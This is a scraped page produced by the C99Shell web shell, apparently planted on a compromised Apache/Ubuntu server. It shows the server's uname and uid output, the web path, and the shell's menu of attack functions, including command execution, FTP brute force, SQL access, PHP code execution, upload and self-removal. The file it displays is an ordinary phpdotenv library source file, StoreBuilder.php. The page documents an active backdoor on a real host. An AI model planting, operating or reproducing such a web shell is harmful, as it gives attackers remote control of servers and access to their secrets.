!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/vlucas/phpdotenv/src/Store/   drwxr-xr-x
Free 13.29 GB of 57.97 GB (22.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StoreBuilder.php (3.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Dotenv\Store;

use 
Dotenv\Store\File\Paths;

final class 
StoreBuilder
{
    
/**
     * The of default name.
     */
    
private const DEFAULT_NAME '.env';

    
/**
     * The paths to search within.
     *
     * @var string[]
     */
    
private $paths;

    
/**
     * The file names to search for.
     *
     * @var string[]
     */
    
private $names;

    
/**
     * Should file loading short circuit?
     *
     * @var bool
     */
    
private $shortCircuit;

    
/**
     * The file encoding.
     *
     * @var string|null
     */
    
private $fileEncoding;

    
/**
     * Create a new store builder instance.
     *
     * @param string[]    $paths
     * @param string[]    $names
     * @param bool        $shortCircuit
     * @param string|null $fileEncoding
     *
     * @return void
     */
    
private function __construct(array $paths = [], array $names = [], bool $shortCircuit falsestring $fileEncoding null)
    {
        
$this->paths $paths;
        
$this->names $names;
        
$this->shortCircuit $shortCircuit;
        
$this->fileEncoding $fileEncoding;
    }

    
/**
     * Create a new store builder instance with no names.
     *
     * @return \Dotenv\Store\StoreBuilder
     */
    
public static function createWithNoNames()
    {
        return new 
self();
    }

    
/**
     * Create a new store builder instance with the default name.
     *
     * @return \Dotenv\Store\StoreBuilder
     */
    
public static function createWithDefaultName()
    {
        return new 
self([], [self::DEFAULT_NAME]);
    }

    
/**
     * Creates a store builder with the given path added.
     *
     * @param string $path
     *
     * @return \Dotenv\Store\StoreBuilder
     */
    
public function addPath(string $path)
    {
        return new 
self(\array_merge($this->paths, [$path]), $this->names$this->shortCircuit$this->fileEncoding);
    }

    
/**
     * Creates a store builder with the given name added.
     *
     * @param string $name
     *
     * @return \Dotenv\Store\StoreBuilder
     */
    
public function addName(string $name)
    {
        return new 
self($this->paths\array_merge($this->names, [$name]), $this->shortCircuit$this->fileEncoding);
    }

    
/**
     * Creates a store builder with short circuit mode enabled.
     *
     * @return \Dotenv\Store\StoreBuilder
     */
    
public function shortCircuit()
    {
        return new 
self($this->paths$this->namestrue$this->fileEncoding);
    }

    
/**
     * Creates a store builder with the specified file encoding.
     *
     * @param string|null $fileEncoding
     *
     * @return \Dotenv\Store\StoreBuilder
     */
    
public function fileEncoding(string $fileEncoding null)
    {
        return new 
self($this->paths$this->names$this->shortCircuit$fileEncoding);
    }

    
/**
     * Creates a new store instance.
     *
     * @return \Dotenv\Store\StoreInterface
     */
    
public function make()
    {
        return new 
FileStore(
            
Paths::filePaths($this->paths$this->names),
            
$this->shortCircuit,
            
$this->fileEncoding
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--